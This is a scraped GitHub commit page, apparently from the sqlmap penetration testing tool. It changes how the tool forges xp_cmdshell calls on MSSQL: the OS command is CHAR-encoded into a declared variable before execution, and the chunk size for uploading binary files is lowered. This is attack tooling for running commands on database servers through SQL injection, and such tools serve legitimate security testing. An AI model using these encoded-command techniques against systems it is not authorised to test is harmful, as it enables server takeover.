Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit c7c84c3

Browse files
committed
Closes #111 (DECLARE/CHAR encode xp_cmdshell parameter in MSSQL).
1 parent 3596f81 commit c7c84c3

2 files changed

Lines changed: 8 additions & 3 deletions

File tree

lib/takeover/xp_cmdshell.py

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
from lib.core.data import kb
1414
from lib.core.data import logger
1515
from lib.core.exception import sqlmapUnsupportedFeatureException
16+
from lib.core.unescaper import unescaper
1617
from lib.request import inject
1718
from lib.techniques.blind.timebased import timeUse
1819

@@ -96,9 +97,13 @@ def __xpCmdshellCheck(self):
9697
return False
9798

9899
def xpCmdshellForgeCmd(self, cmd):
99-
forgedCmd = "EXEC %s '%s'" % (self.xpCmdshellStr, cmd)
100+
self.__randStr = randomStr(lowercase=True)
101+
self.__cmd = unescaper.unescape("'%s'" % cmd)
102+
self.__forgedCmd = "DECLARE @%s VARCHAR(8000); " % self.__randStr
103+
self.__forgedCmd += "SET @%s = %s; " % (self.__randStr, self.__cmd)
104+
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
100105

101-
return forgedCmd
106+
return self.__forgedCmd
102107

103108
def xpCmdshellExecCmd(self, cmd, silent=False):
104109
cmd = self.xpCmdshellForgeCmd(cmd)

plugins/generic/filesystem.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -192,7 +192,7 @@ def updateBinChunk(self, binaryData, tmpPath):
192192
forgedScrLines = []
193193
cmd = ""
194194
charCounter = 0
195-
maxLen = 4096
195+
maxLen = 512
196196

197197
logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName))
198198

0 commit comments

Comments
 (0)